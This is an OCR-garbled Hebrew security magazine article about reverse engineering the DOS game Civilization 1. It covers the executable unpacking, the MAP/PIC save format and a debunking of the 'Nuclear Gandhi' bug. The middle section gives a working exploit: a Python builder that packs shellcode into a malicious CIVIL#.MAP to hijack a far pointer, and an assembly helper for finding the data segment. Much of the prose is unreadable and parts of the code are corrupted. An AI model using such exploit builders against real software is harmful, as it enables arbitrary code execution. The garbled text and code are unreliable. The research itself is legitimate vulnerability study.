TIg? NXIN7 N"ION'RN

QIR N2 NI RN

TN

NI NIYY M2 01T IRY DIIYRIN NFAVIVOKRN Pnwnn TNXR NN Iiznn Civilization pnwnn

['AT ZNWNN,0MDN K7 NZNaY 1112w 017 JI1D17an 'R N, niraizinou gnn 0Ny Nl

:N2D W2 DRI RINE,”12YN 78 yon” WA '!al* 'y 7RIY DR Ay

775 10T 'R N2 DIT IRE,NNMYN 'XAR IX YT N1017 ZWORY 'M1an (77 i) ntion 27wAa
STIVE DMYD NINY 'Y 12D D'Y'N5N D'0POR7 DA 0'AY97 IR KNP K77 D1'Mwn yalp NX 90 01
N1"MYN DYDY 'NYant, 1770 NNMYN '¥aPa NI P12 NN PITA7 'NO7Nnt T Ny 7 N1oNn NINNX7?
0N N'N' 72X ,NTN NN TPnnNn 1nRNN AN .shellcode 7w n¥IN7 Nnnv Ny yaip n1wo -

NXY PNwnY Nann NN NTAKY VAR o


https://en.wikipedia.org/wiki/Civilization_(video_game)
https://en.wikipedia.org/wiki/Civilization_(video_game)
https://en.wikipedia.org/wiki/Civilization_(video_game)
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/

Technologic

fnvna NN

:0"0AN D'YAR 2 7'o0 712V TR YONn” INKN INKD S MTIINY 7nunin

0598509dd378ea71db224e420ac70217

D0'n2a 304,512

CIV.EXE

8c0960a9470c8183fdd88c5810f1f243

D0'na 304,512

ORIGINAL.EXE

qIN7 0x11D9E 7w offset-2 0*k¥n1 0NN 8 AWK ,0'N2 10 75N 102 - YA KIN D¥IAPN Y 2 77anN

720N NN "N Ni7Ea N Intel 16-bit T DNIN DWIDN UKD YAl

TV 72 TN IXINDIXIKAN 90D TN DIpn2A - 0Ty DY PRwn KN CIV.EXE nwyn7w NIkYY? TWON

Y2l 7 IR INIX 7Y vl patch NWY INWMW )37 TN N0 KIN ,2aR 9102 nop-n 30719 7w

D2l CIV.EXE NX DA NNAY7 715" IR K'Y DTN 007N 722,72 INK D'VIANY Yaljpa o-offset 10w 1o

.0'N"IT DN'21'2 D*7T2NN - ORIGINAL.EXE N

unpacking yix1

entry-point-n1,'7'702 relocations 12 'R 72X MZ yal7 X1 yalzn - n'wa? X'an CIV.EXE 7w '0vo ninn

Yau?n, PN - ”Packed file is corrupt” [n'2:2,NI%7"790 NITNNN 1901 NINT? [N 0102 .|V stub XN 17w

.Microsoft EXEPACK NXI72¥ N'a17100 DY - N'9'¥90I ,packed NINTIA INXY

TIp XN NNann
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Y270 DX 1IY0Y7 ,Unicorn-2 wnNWNT XN MYV N 72X ,0T DX NIYY7 NI 077 0T W'Y N0 IR
2V breakpoint 'mnw ,n7T 2%7wa "M o'xnn PSP 79071 CS/IP, SS:SP-7 0'>1y viIap'7 ,1nw'7) 01Na0Y
TX1,(DOS-N NoMA NX 72177 12 17 K CIV.EXE 17w najnal,'unmavon DOS interrupt-n nT) INT 21h

.IN71V9 NX 00 12D EXEPACK-W |11'on,[IND'TNN dump V¥27 TWOK 0IYD
:0"1'MYN 0NATI%0N ‘M nTawa

-n .0x2A1B TIvI load base-n pI*1a XIn (N1x¥'72 DS IX Data Segment-n 'T' 7y yajaw) DGROUP-n .1
11NN .N10NNAN 17'9X1 0'WIA 072172 ,BSS 7710 - 2w Data-n 72 12w 0INAON XIN ,2aR ,DGROUP

0T AN 17002 1T NTAIVA NN WNN)
nNn7 ,2aX ,01 120N N1 .packed 122'R TNl yTMNN T2 770 D71 ,overlays-2 wnnwn pnwnn .2

.disassembly -7 7702 n'1NnIw 077120 1'R0 CIV.EXE-7 ORIGINAL.EXE |'2 D*7TAann DX 1IN TWKD

map loader -n NIN1

.OpenCivOne 7y 'n75n00n - ("7IX 21 AT DNRI7 NN AYW) AR JINKT? NOTIN VX177 DIpna Nt 2A7wa
NNWYIYIINKT? NOTIN 2y 001ani,C# NOWA PNwnNin NX WTNN UNnny open-source UR'NS 7V 111N
2w wmmn 72y m7Dnon 7D oTp ,Nnywn 7 NNt UKD LP7 NIpnn pnun? navn IR?

JPNNN DX Y'RNY? TRA TV OT - DTIRAN dump -2 Winmn DX "MK DR INKY71E OpenCivOne
NIt 0'y'an Civilization-2 nmw yap

(o'ma 37,856) yviap 71122 yaip 10T - (CIVILO.SVE 7wn? ,noon |“xn # |n'on) CIVILH.SVE 'xap e
(7un? Pnuna nMTPNNN 2¥N) PNYNN 2¥N DX 2'TNNY

NUNN 7w 0710 non - CIVILE.MAP 'xaj7 e

,0penCivOne no 7y) PIC Image DWA 1IN UNIISA Y'AN L[N [DINAI L|IYXKY [YOI NONN YAl

.(LoadGameData NX1j71 N'VAIN N¥IAION
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:N2N VN9 D'PI7A 7Y NPT 7'DN INXY VNN

1720 a10 DM 2 signature
D0'N12 data -n IX D'ma 2 length
mnnyTnn (o'ma length) n1nwn data

:0'>NN1 D'NAN sighature-n 'a10 TWUKRD

NI'o 8 Miva (palette) n'vay NV ax''n data -n 0x3045
NI'o 18 7niva (palette) 0'vax nu'%o ax''n data -n 0x304D
(RLE -1 LZW Dy oInT) Nimn yT1n 0x3058

.200 7y 320 71122 ,0x3058 a10n T'N' 7172 DN MAP-1 '¥a7 ,7v19a

h1kILh)

NIAMION - 21T T\IX'? DOSBox-X-2 'mwnnwin .n'on' VIS PIC -0 '¥ap NX 101901 [VIVY TIj7n YO

.0'NT 0N D'-offset-n 72X ,NIIY NININ NN NRIY N7 NITID! |XD INNNY
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("7¢ NMYNIEIXOY VYN NRY) TIEN NN

; ax = block signature
; low byte == image block (
; image handler (LZW/RLE)

ES = DS = DGROUP
; fixed destination buffer, no size known

; store signature word into the buffer
; ax = block LENGTH (straight from the
; store length word into the buffer
; cx = length/2 words

(buffer-refill plumbing)

copy loop: file -> ES:DI ( +)
repeated length/2 times. NO BOUNDS

193 0x3045 ,7wun%) 0x58-1 D'"NON X7 17w signature-Nw PIC-n YaIza @172 72 - n1N2 (XD nwW7INn
length-w [1">n n'wa it DGROUP:0xC926-1 yiap 77122 1982 X XInw 1md pnyl' (n7yn? nxy
7¥ N2'MDI DM NPNYN 117 W' 271,098 INIX JINYT D'RNN RINY RIT1 X7 MAP-D Yaig Jinn X0
D'™212' INIX - 0O'NA 65,535-2 0'071IW NNIRY [11NIL(0XC926 ,Nimid) offset IMIXNA 7NN 1M1¥1D VTN

9NN MINK NWIAY TIXNA 2 VTN oNT?

Dy |N2'7a) FAR pointer ai1on ,DGROUP:0xES3A NAINIA WNWIY N'¥j7I97 yaxn M7 ,nwynY

:(offset DAI VINA0 NAIX DA MIY Y AXNNY R'N NIYAYAN O'VINA0

ff 1e 3a e8 Icall [ ];call [ ] (offset) : [ ] (segment)

DX UTNN INIX X'MY7 DY 72 NXKI211,Yapnn input buffer-n 7w wTnn 17'n% nwnwn X0 1T D'x719
TIX [ONKNY YIAPN 19X17 17Y NA'MdN N7NNnn 0x1F10 7w 7nana Nt 0xE83A-w 17 0'wl .IX w!
V' a¥NN NOMT, 2N .17 XA NAIMD IT'R7 Y*ax¥nn DX 0NT7? 071> nNIX [271,MAP -0 yalpzn yTnn

I[PNYNN N2 'wsIN TIZ XN AW - INY'NAY DIpnY v'ayn? 17 DNa'y 1y oy

TIp NXIN? NNan'Rn
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nvnvnn

:N'ON' NVIYWD N7YW NYWNWNN NMAVIVONR

Y¥INNY 070 Npnyn? oNat v (D120 8 pniya 0'yax Nu'o NinKd) 0x3045 alon pi7aamn L1
.(RLE-I LZW NIN97 N2MXW npnyn? Tiana)

. DGROUP:0xC926-7 and>" NINW D ,data-n N7'Nna 0'w1 17w shellcode-n nX - .2

IT N71v9 .DGROUP:0xC926 NAINdN NX TTIj7'w FAR Pointer-n NX 11M21 0x1F10 7w offset-a .3
NIX NTY 27 0'W) .01PN2A YN 17W shellcode-n nwyn7w o refill-n nvy21197 y'axnin Nk noIT
.11'¥1 shellcode-7 Anini T AT 0'MA 7,952 7aX - N1 7712 w7 70t X7 119w shellcode-n 7112w

refill-n NuyOW 27 NN It nwAT .0%x2000 NX 1Y K7 17W 997100 payload-n Taw winT .4
.17 payload-n 7w n2'MdN DI'O TV KI7'N K7

.YN'? n7¥ shellcode-7 nNarw nn ,refill-7 X' RKIN NPNYNN DX D"'0N parser-n TWNX) .5

DGROUP-n n"ya

17X .NIN NN AWM 17 ') 228 DGROUP NX TTIR'7 D'D"MIX 1INIX - [AXVN U197 27 IM'w' 0D 'V TN
72 X ONT? DIPNA - N'RPN NOMIT YNAYT K7 N7 NINNY 0717V NIYW2IND DWW NP D'R'PAY DON
VINAON 7Y VAW K'D D7 Na'on L(lvinaon 197 TTINY) offset-n NN 71 0NT? ,FAR pointer-n
-n 12¥ DGROUP-7 niiww) DS 7w 717 DY nw 2'RY ,CS AR NIX AX''N FAR pointer-a TTIznY

.DS 7w 1w IR NYT? X7X N2 117 'R, 107 .('n 7w shellcode

:NNIY NI2021 ,7wn7,'7 RX'W NN NN .N7Y9NN NDIYN 7Y NNRIY NIXRONA |2 YIAp N7 )Y, 174

0x2BBD DOSBox

0x323E DOSBox-X

.DGROUP 7¥ [1220 YN NIX 7'0N7 110X ,NIY 12101 17W 0'179078N NIX YN ¥l TN

NX PI'T2 nwIyw SEGFIND.COM nwa 'mandvy N'adn v TIZ QOIXN X2N Ty — TN nwy? N7 T

nr
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segfind.asm
Purpose: Prints out the DGROUP value.
Remarks: - Compiled as COM: nasm -f bin segfind.asm -o SEGFIND.COM
- Our exploit relies on the load base, which is different
between DOSBox and DOSBox-X, for example.
- To use the exploit, use --dgroup @x(value).

org 0x100

; Get the section and add the offset
mov ax, cs
add ax, Ox2az2b ; Offset of DGROUP

; Prepare the hexadecimal buffer
mov di, hexbuf
mov cx, 4

; Translates the value to printable characters
rol ax, 4
mov bl, al
and bl, oxef
bl, 10
.d
bl, 'A'-10
-P

5 Handles digits
add bl, 'e’

; Add the value to the hexadecimal buffer
mov [di], bl

inc di

loop .h

; Prints out the buffer
mov ah, 0x09

mov dx, msg

int ox21

mov ah, 0x08

int ox21

mov ax, 0x4co0

"section"

TIp NXIN? NNan'Rn
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msg db 13, 10, 'DGROUP = ox' ; Message header
hexbuf db '0000' ; Hexadecimal buffer
db 13, 10, '$' ; Message footer

NN INYY YAl .0'9Tn? N1Y D'IN? DGROUP-N 1Y DX 1'MNT7 VIWS XIN WiM™mn 7w u7nimn 12N
LINW20 1Y 0'9 TN NIMNIL0M7907R? N1DND NN'RNNN DOS-N 1202 yNn'? [Ny COM yalp nitn?

.(DOSBox 7w M2 ,NImKd) DGROUP = 0x2BBD |12d

N'IN V'179077XN - 791010 X7 XIN OX 727D dgroup-n NX 72777 710' V9PON ,INXY V'17907RN WIN'M2

(N2 1Inwn7 DI'> AN NM719190 N¥INN D20 ITY Nt X)) DOSBox 7y Nalmy

X' v'179077K8N

(XD [IM X700 0'179077KRN

#!/usr/bin/env python3
import struct
import sys
import argparse
Civilization 1 (MS-DOS) .MAP exploit builder -- arbitrary code execution

from a savefile.

Vulnerability

Loading a saved game parses the paired CIVIL#.MAP as a PIC image.

The PIC block loop (CIV.EXE / ORIGINAL.EXE, at code 0823:10cf) copies any

non-image block verbatim into a fixed scratch buffer.
That buffer exists at DGROUP:0xC926, and the copy uses the block's 16-bit
length field straight from the file with NO bounds check:

lodsw ; ax = block length (attacker-controlled)
mov Ccx, ax
shr cx, 1

lodsw / stosw ; copy ~length™ bytes -> es:0xC926 (es = ds =

DGROUP)

TIp NXIN? NNan'Rn
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Because DS == SS == DGROUP (©x2BBD in DOSBox, deterministically), the copy runs
straight up through the game's globals.

We don't need to smash a return address: sitting in that range is the
parser's own "refill" far-pointer at [@OxE83A], which it calls (lcall [©xe83a])
to top up its read buffer.

We overwrite that pointer to aim at our shellcode, which we stage at the
very start of the copied block (DGROUP:@OxC92A).

When the parser finishes our block and loops for more data, it calls the

refill vector - and then our code runs.

Keeping the whole .MAP within one buffer read (default block ©x2000 -> ~8
KB file) means no refill happens during the copy, so surrounding globals stay

intact until the hijack fires.

python3 civl map_exploit.py shellcode.bin CIVIL@.MAP # from a raw
binary
python3 civl map_exploit.py --hex 'b8 13 00 cd 10 ...' CIVILO.MAP
Then load slot @ in the game (keep a valid CIVIL@.SVE alongside it).
# The data segment (SS) as loaded by DOS - the shellcode executes here
DGROUP = ©x2BBD
# Where block-data byte © lands - this is the shellcode's entry point
DEST = 0OxC92A
# Far pointer the parser calls to refill its read buffer
REFILL_PTR = ©OxE83A
# Palette block - low byte 0x45 != 0x58 so it takes the copy path
BLOCK_SIG = 0x3045
def build(shellcode:bytes, dgroup:int=DGROUP, block_len:int=0x2000,
fill:int=0x90) -> bytes:

Return the bytes of a malicious CIVIL#.MAP carrying the shellcode.

The "dgroup" variable is the game's runtime data segment. It depends on
the DOS memory layout, so it differs between emulators/configs. Use SEGFIND.COM
in the environment if unsure.

# The offset of [OxXEB3A] within block data
ptr_off = REFILL_PTR - DEST

TIp NXIN? NNan'Rn
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# Validations

assert len(shellcode) <= ptr_off, Exception(f'Shellcode too long
(max={ptr_off})")

assert block len <= 0x36D0, Exception('The block length must not pass
@x36D0")

assert ptr_off + 4 <= block len, Exception(f'The block length must be at
least Ox{ptr_off+4:x}")

# Build data
data = bytearray([fill]) * block_len
data[@:1len(shellcode)] = shellcode
shellcode at DGROUP:DEST
struct.pack_into('<HH', data, ptr_off, DEST, dgroup)
[6xE83A] points to dgroup:DEST
return struct.pack('<HH', BLOCK SIG, block len) + bytes(data)

def main():

# Parse commandline

ap = argparse.ArgumentParser(description="Build a malicious Civl CIVIL#.MAP
from shellcode.")

ap.add_argument( 'shellcode’, help='raw shellcode file (or use --hex)")

ap.add_argument( 'output', help='output .MAP path (e.g. CIVILO.MAP)')

ap.add_argument('--hex', dest="hexbytes', help='shellcode as hex string
instead of a file')

ap.add_argument('--dgroup', type=lambda x: int(x, @), default=DGROUP,
help="game data segment (©x2BBD for dosbox; use SEGFIND.COM otherwise)')

ap.add_argument('--block-len', type=lambda x: int(x, 0), default=0x2000,
help="how many bytes the game copies (0x2000) by default')

args = ap.parse_args()

# Parse shellcode
if args.hexbytes:

sc = bytes.fromhex(args.hexbytes.replace(', ",
").split('#')[0])

else:

").replace('0x",

with open(args.shellcode, 'rb') as fp:

sc = fp.read()

TIp NXIN? NNan'Rn
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# Build the blob

blob = build(sc, args.dgroup, args.block len)

# Write to the map
with open(args.output, 'wb') as fp:
fp.write(blob)

W 72177 710' PI ,commandline-n NN 0'N2 W wNd IR yaln shellcode 7apn 0M17907KRN
7712 DR NNYWY? N'X9OIX DA 'M90IN .DOSBox N11'KY N0 YN 010NN 11NIXI T2 DGROUP

.DY9 QN INIX ONT? IX 'R AR 720 72K, (0x2000) pnwnin T 7 72pnnw '9) pi7an

YNN71 pnwn? [yu'ne 712' 0'kNnn SVE-N YAl 7'aznaw ,MAP YaIz X' 0179077RN 11T 7w 19102

V1 X7 demo DY ,N9IPN NNIX DX NIAK1 NINA ax'' v shellcode My n X .1021¥D shellcode

Pwn by Jonathan Bar Opr ("JBO")

https:f/Joniiranharor.cnn

https://www.youtube.com/watch?v=03X37IpCJOo :|Xd 12 NIDX? [N X711 [IV10N NX "MV

N2 7w git repository-n 1NN 7911771 NIKN7 N1 demo-n 7w NN T DR
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n'YAan '"Tia 10N

PNYNI A'NIN 727 ,119'0 INIX '97 .11'W1AN 'TIA 7W NTARN - PNYNA NYAIRN AVIT NR2IX NTAR NIY!
,2I9'0N 197 NN 7'NN' 2NN IMIRY '12'0 NI W'D NI NIAA 90N INIRY 720 - “NNORIN TTn” Wt
NIYON,[2 1ND .NI'VO'S'XD IX'NY ,1 7w Y - ANIFA 1NN YN DX 7217 1112 NNUKRNNA MTINN 2'NINN
DN D"VIZINT DY7VUNANY [11'ON) 2-2 NIDPINN TTA )Y NIX TN N'0IRINTY? 7UNnn 210 '11'UY RN
D7y 190N KIN NNOZINN TTAY [1'dni,1 oM 7w 1y 720 'Taw NIk 0T,j2md .(D"197IN NiND

ANI'1'0NAN NI'NY 17 DY NN ,255-7 yanl Integer overflow apy ni1aa )W 23 XN - unsigned

7'NNN "TIAY NINY NN ,0'N0N 12D '1'WIA W1 7V NN PRYnn 7W 0T 27w - DN yNa ANIm on
PNYNN NN9NN 7713) N0 X7 NWLVNY 727 120 NI NRYL IFN...1'WA2 7W1 DY NINIRD 7D DR 1NY

N2 ATINN 72PN MTY KIN -2 T TV 210 11910 TWXOW NN IR 7aN (Sid Meier ,Inxy

First they ignore you,
then they laugh at you,

tham thhane Fim bt v i
UiIcH Uiy nylic yvu,

then you win.
-Mahatma Gandhi

DXN 'MXY TN NNX 21727 MY 0T 2792 PRwnn Y IR noTan byn X7 11D M'YYY (11N

2190 ININA NN 7V Yynw "2IX Wt

TIp NXIN? NNan'Rn
www.DigitalWhisper.co.il
12 2026 VOIAIX ,188 |12



http://www.digitalwhisper.co.il/
https://he.wikipedia.org/wiki/%D7%92%D7%A0%D7%93%D7%99_%D7%94%D7%92%D7%A8%D7%A2%D7%99%D7%A0%D7%99
https://he.wikipedia.org/wiki/%D7%92%D7%A0%D7%93%D7%99_%D7%94%D7%92%D7%A8%D7%A2%D7%99%D7%A0%D7%99
https://he.wikipedia.org/wiki/%D7%92%D7%A0%D7%93%D7%99_%D7%94%D7%92%D7%A8%D7%A2%D7%99%D7%A0%D7%99
https://he.wikipedia.org/wiki/%D7%9E%D7%94%D7%90%D7%98%D7%9E%D7%94_%D7%92%D7%A0%D7%93%D7%99
https://he.wikipedia.org/wiki/%D7%9E%D7%94%D7%90%D7%98%D7%9E%D7%94_%D7%92%D7%A0%D7%93%D7%99
https://he.wikipedia.org/wiki/%D7%9E%D7%94%D7%90%D7%98%D7%9E%D7%94_%D7%92%D7%A0%D7%93%D7%99
https://en.wikipedia.org/wiki/Integer_overflow

A'Nin aX'"'"NY 01IiNln nan

)2 DKL I TA 0N 58 77122 XIN 2'NIN XY D1ININ NN

NnT9N NUL-terminated nrinnn (Leader name) nw 32 0x00
D'09X2
nT19Nn NUL-terminated NTiNNN (Nationality) nin0TX 16 0x20
D'05X]
lonm='"nMNan (Mood) nin axn 2 0x30
0='70"m

1 0179 = '2'0NAN

1 01'n = VO1I'¥{?7919 (Policy) nira*Tn 2 0x32
0="70m

1 =nnnnn7 nun

lon'm ='0u'"7n (Ideology) nal7IN'T'X 2 0x34
0="1u"m
1='nnn
NP'TIN YOR7 yraxn (Short tune) nxpe nP'TIN 2 0x36
NP'TIN YORP7 yraxn (Long tune) NdONX NP'TIN 2 0x38
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.D171W 0D 3 71 7ApR7 715! KIN L NIRTT? N1Y 19)1,Mood-N NTY nwyn? XIN “NIM'0NAR TTN” ININ

72N ,n'o'¥90 ,'Ma

.(OXFFFF->aim>) 1 on'm 7w Mood TTn e
(OXFFFF-2amd) lonmwnirmTm e

.(0x0000 -Nn M) 07w NN TR TTN @

A'Nan) 71727 DNNAX D'NYNY AN LIN'N TNY) 'MINan TRnY? INIK 1910 PR 17 Mood-n T
unsigned X7 signed NINTIA XIN 1WA - 0T NI AIWN 72X, (07220 A1) anmni (DRZINRD

JVOIY '9)

;XY "72n0KXN 7V nonnon signed Xin Mood 1YW NP N'W' ANDIN
ax,
word ptr [si-

bx, ax
word ptr [bx+

word ptr [bx+

M2 mood 7w offset-n) 0x30 TIyI (D'a'nIn N720 7w 0'0an) 0x14E2 NX ax''n 0x1512 wn
27U WY IR NT - 1 01 IX 01797 AXIYN NNX VIYD jne YX¥IN ZNWNn 'R NIK7 TWON .(N1ann
|UR” IR ”-N21TA” 7 NIRIYD D'RIN 17D DNX - MR N1900 Y TWRN enum 7w 210 NI XIN mood

.signed NIN DT WY D7 TN DIY 'R ,0191 7N

N'0YZINTY? 12YN1a 2 YW TN 'R

W7 N2MD WA T'RR DIPAN .mood 77 DAY VA AT 0NN 7w DN [N [INNKD YTnonn

:0OpenCivOne-1 7> NX11 mood

Nations[i].Mood = RNG.Next(3) - 1;
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197 'K NN NniTa, 1 01' I 1 XIN DX NP TA) DTMRIYWA X' Mood 17 NNNX NIoN"Nn ‘75
7NYUN2 wNINN AniT 12T .Mood-n 1Y DX Mwn X7 (R'ozimT? v1o9al) Ywnn 1w 75,01 (|2

M1 DOS-N

0077d5: b8 3a mov ax, ; AX = = size of a record

0077d8: f7 6e c6 imul word ptr [bp-0x3a] ; DX:AX = * [bp-0x3a]
(nation index *

0077db: 8b f0 mov si, ax ; SI = byte offset of this nation's record

; Mood:
0077dd: mov  ax, ; prepare argument for rand(3)

0077€0: push ax ; ditto

0077el: 2d 1lcall :0x5b ; rand(3) invocation
0077¢€6: add sp, ; pop the argument (cdecl cleanup)
0077e9: dec  ax ; AX = rand(3)

P077ea: mov [si+0x1512], ax ; Nations[i].Mood = rand(3)

.1-7 1 012' "2 'RAPR W 0VIYD KN - NIKYYZ [N 1921 Mood 78 NT'R NmdN It

NN XY A% DIva - topmT? Ywnn 'y Myl gniwnn DX MAAT L9100 TV RIT IXY
| |

.0IN™M XIN ”12'V72AN 'TIA” 7Y 119'0NY V1DIYN IR ,NTA7wa ,|)'7 .Mood 7 INnIXn NNNo9N

Did'o

[1">n , 01 DOS '7nwn IPN7 1'Unin? (12NN IX1,MIAY N22AN YIAY 910 NI7'YS NN'N 0T VP'ND
NX{ NI¥2 D'NAIT DNAT WNANY V7NN PN 7D - proprietary TXA N*A171200 - 12700100 W7 1QvnY
- 152 1722 Dangerous Dave 7nwnn NX 122 'MI7'0 11D ,NYyNn?1, TR "Iyn 770 N7 "' .nIY

0D 91N - D'AIT D'VPYIN9Y7 NIXNAN 7277 [P IR, |2 1ND .INIX DA RKNP7 DINA Y710 IR

NI¥N7 |N1 11 ,https://jonathanbaror.com :*7w '"019N MNKA MW7 NOIN IX 7w D'OP"NO9N 7D NN

7w NIy ny offensive security 1jp'va) NIND N¥p DAl (NTA pPNAN 1ND) D'MVIT'R DNAT

.(noa1voy

LY DHRA NNl (Inmaya na op'7n) 0N o'gnwn 'one 71avn 7R von” AnK? nTnim nTin
i i Jayn X yvon

JMIynun N 77 agnnn NX 1090w OpenCivOne 7w D'PTANANI D'NNON7 [2NdI
INRPN 2V NTIN

AR N
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